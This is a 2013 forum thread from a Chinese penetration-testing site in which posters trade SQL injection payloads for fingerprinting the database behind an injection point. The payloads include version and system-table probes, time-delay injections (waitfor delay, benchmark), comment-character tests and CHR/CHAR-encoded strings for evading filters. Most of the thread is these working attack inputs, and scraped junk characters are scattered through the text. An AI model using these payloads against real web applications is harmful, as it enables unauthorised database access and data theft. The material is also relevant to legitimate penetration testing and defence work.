中国网络渗透测试联盟

标题: 一个注射点如何最快速确认是什么类型数据库 [打印本页]

作者: admin    时间: 2013-2-11 09:54
标题: 一个注射点如何最快速确认是什么类型数据库
一个注射点如何最快速确认是什么类型数据库' p0 [0 ?& d- X
xsser (十根阳具有长短!!) | 2013-02-05 12:36
2 ?3 D9 G0 H5 {' M$ B假设这么一个注射点:
8 k/ O- `% k! gshow.html?id=29 [* m1 X4 X8 n# `8 h! P
mysql:id=2 and version()>0
# P* X& m+ t" K5 L8 K1 Foracle:id=2 and '1'||'1'='11
2 y. a; s) U; M. _# d其他的欢迎补充
, {. r: c# e! x* U3 K4 N% M+ W. L7 [1#
* U# r, Q" y0 N# d. M  r) ~$ {upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47% F+ g4 D0 B: S% n
Access:: o( V% Z2 }' a# u/ {+ ~8 ~
aNd aSc(cHr(97))=97
( @: _3 Q6 n9 V" E/ a" qand exists(select id from MSysAccessObjects)
8 `+ ?- s. _/ T+ q- Y: ^" ~SQL Server:7 H+ K+ {4 b% @! Y
and exists(select id from sysobjects)
3 p) P# {" s' `: ]' s) Gand length(user)>0
. \2 ]. S' M; Y0 \/ M( h; ^MySQL:
* m/ ?/ ^1 r) ~/ n& ]# Z7 Y4 Fand length(user())>0" `& Y. \" c0 k; w
2#
: [: R4 w& d6 i; t) L! o0 Kxsser (十根阳具有长短!!) | 2013-02-05 12:48
2 |5 i/ i$ u& N$ ~@upload 如果这些都不是呢…& _" b* e; o" o6 X  d( y) g- \
3#' X( F$ c  j% t# A$ A& r+ m% L+ }0 `
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
# t# S# m; `! Z/ @) b@xsser 不快速的,延时注入
# ]3 t$ e4 t7 }% c: {. T# p/ I不知道这样写对不对
! r' W# q8 K, a& f& @7 \3 F8 `3 `( nmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'7 J( x0 |9 {) J; J& D0 t: R+ o
mysql:id=2 and select benchmark(1e8,current_date());9 x9 o- ?4 c) N! h0 H6 b" L: Z
4#
0 `- ?' ^5 `  g, Yupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:107 U5 ?6 `8 s4 t
最快的貌似是看报错信息
/ t* s% j+ \" p4 ^9 roracle error
) z9 K: L6 I3 smssql error% [) k9 A0 J) e- G% P- f1 b+ x" M
mysql error/ H1 D3 w5 X  M7 g3 {" W  c
5#. w$ ]4 }- C, y6 C# a
Nimda (你们都是坏银~) | 2013-02-05 13:14
+ [7 F& a. u, ]$ H& g小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
+ ~3 c6 F9 Q* f. r3 R6#% H/ R! V' |5 b1 E+ W6 T4 x
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21" V5 o  K1 ~4 h- X6 _5 m" p5 V
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:1 h3 W" L) e& t6 y- u* o8 k
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:0 a$ K8 B. e7 Q$ S
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
0 T" y! \# T! Z7#
( V5 F# V; w, R7 }7 p_Evil (HackEnd) | 2013-02-05 13:33
+ j+ U! J3 E. I" F% QPostgreSQL6 d; G8 j) L- u8 T* j
8#
2 C% v+ ~7 d  [( Y% K9 y6 Hupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42% s0 ]6 R: y8 p3 |" @# [5 G
切换编码 and 1=1. z; t, ?6 Q4 Q" P+ `3 f4 L" k* K
oracle:
7 ^. V* Y+ `# }3 @1 O$ G6 X5 ^/ XCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
* @3 S) ?. L" T3 Imssql:
$ p, ~( [+ {* s4 V. o) k( t: tCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)/ F  Q) u3 B4 k$ j& k' e& V
mysql:* D% ^, K9 C) S! n: {
CHAR(97, 110, 100, 32, 49, 61, 49)
  D" m$ S: c5 ~3 x; D- [9#
- s% `( j% w! _# L, T8 F! S5 A1 rxsser (十根阳具有长短!!) | 2013-02-05 14:31
6 o* u! y& U# `/ I. E; l@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?: i& ~$ J. P( E# R
10#
0 B' |+ ^- B/ n! ~2 G& _upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
  E9 G5 |5 d- h, `@xsser 是奇葩数据库类型的么?
# g' D& f- d" ~* o' {3 T根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:2 \1 F0 g* _5 k6 N& W& C
1.是否可以使用特定的函数来判断,该数据库特有的
- ?8 H$ ?( m3 w  t* n2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
- o' q8 d. H* Y, d3.是否可以编码查询
* o$ _' H1 q5 p4.是否显可以利用错信息
  }% J2 n# k5 R0 F7 T. ]5.是否存在数据库某些特性辅助判断4 g9 g' B( [; J9 S+ y
个人见解
1 `; b' b" i" O( F( R  v4 w' S11#
/ b6 e) p! P2 T; A0 x4 \, V4 @5 M小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:557 X7 w# k! q7 ?" f! Z, T
已收藏,mssql可以直接看到错误提示的吧~
( A- w* Z2 D* d1 V12#8 _$ S! j4 T+ |- O) ~5 {6 c
Passer_by | 2013-02-05 15:090 H  q+ k$ p  e0 ^, G
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。$ I; y+ T! Z) A4 `. e% M
from:http://zone.wooyun.org/content/260




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2